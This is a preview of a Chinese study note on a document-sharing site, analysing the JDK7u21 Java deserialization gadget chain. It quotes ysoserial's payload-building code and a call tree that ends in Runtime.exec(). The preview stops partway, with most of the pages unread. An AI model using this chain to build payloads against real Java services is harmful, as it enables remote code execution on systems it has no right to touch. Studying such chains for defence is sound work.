没有合适的资源?快使用搜索试试~ 我知道了~
JDK7u21反序列链学习.doc
1.该资源内容由用户上传,如若侵权请联系客服进行举报
2.虚拟产品一经售出概不退款(资源遇到问题,请及时私信上传者)
2.虚拟产品一经售出概不退款(资源遇到问题,请及时私信上传者)
版权申诉
0 下载量 80 浏览量
2022-07-08
23:05:57
上传
评论
收藏 8.73MB DOC 举报
温馨提示
试读
24页
JDK7u21反序列链学习.doc
资源推荐
资源详情
资源评论
JDK7u21 反序列链学习
JDK7u21
1、前置知识
jdk7u21 是 一 条 不 依 赖 CommonsCollections 库 依 赖 的 , 看 利 用 链 所 有 知 识 其 实 跟
CommonsCollections 也有重复,我们来学习一下以前没学过的类或者方法。环境是 jdk7u17。
LinkedHashSet
首先入口是 LinkedHashSet 的 readObject 方法,LinkedHashSet 是 HashSet 的子类,也继承
了序列化接口和集合接口,但是 LinkedHashSet 是没有重写 readObject 方法的,所以
LinkedHashSet 调用的是 HashSet 的父类的 readObject 方法
//构造函数,可以看到是直接调用父类的方法
public LinkedHashSet(int initialCapacity) {
super(initialCapacity, .75f, true);
}
AnnotationInvocationHandler
hashCodeImpl
这个函数就是用来计算 hashCode 的,具体分析可以看 POC 调试,var3 = (Entry)var2.next();
}
return var1;
}
memberValueHashCode
这个也是用来计算 hashCode,可以看到里面都是调用 hashCode 方法,具体作用看 POC
调试
equalsImpl
用来通过 invoke 来执行我们的恶意代码,具体看 POC 调试
TemplatesImpl
getOutputProperties
其实 getOutputProperties 就是用来调用我们的 newTransformer,然后就是跟 cc 链一样去实
例化 templates 造成 RCE
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
2、POC 分析
2.1、利用链
/*
Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.
See: https://gist..com/frohoff/24af7913611f8406eaf3
Call tree:
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.()
...
Runtime.exec()
*/
2.2、POC 分析
这里使用 ysoserial 来分析,看看大佬是怎么构造 poc 的,主函数在 getObject 方法里
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = “f5a5a608”;
HashMap map = new HashMap();
map.put(zeroHashCodeStr, “foo”);
InvocationHandler tempHandler = (InvocationHandler)
Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class,
map);
Reflections.setFieldValue(tempHandler, “type”, Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, “_auxClasses”, null);
Reflections.setFieldValue(templates, “_class”, null);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
第一部分代码
final Object templates = Gadgets.createTemplatesImpl(command);
我们跟进 createTemplatesImpl 去看,判断为否,直接返回重载方法,除了命令,还传入了
TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class,继续跟进
public static Object createTemplatesImpl ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty(“properXalan”, “false”)) ) {
return createTemplatesImpl(
command,
Class.forName(“org.apache.xalan.xsltc.trax.TemplatesImpl”),
Class.forName(“org.apache.xalan.xsltc.runtime.AbstractTranslet”),
Class.forName(“org.apache.xalan.xsltc.trax.TransformerFactoryImpl”));
}
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class,
TransformerFactoryImpl.class);
}
首先是第一红框实例化了我们的 TemplateImpl,然后使用 javassit 构造一个恶意类,首先
创 建 一 个 类 池 , 把 StubTransletPayload 和 abstTranslet 的 路 径 插 入 类 池 , 然 后
StubTransletPayload 的名字创建一个类 clazz。第二个红框就是把恶意代码嵌入恶意类,然后
设置名字和父类 abstTranslet,然后转成字节码赋值给 classBytes
StubTransletPayload 就是笔者创造的一个静态类
我接着继续看,看代码的意思反射设置属性值,跟进去看看。
剩余23页未读,继续阅读
资源评论
书博教育
- 粉丝: 1
- 资源: 2837
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功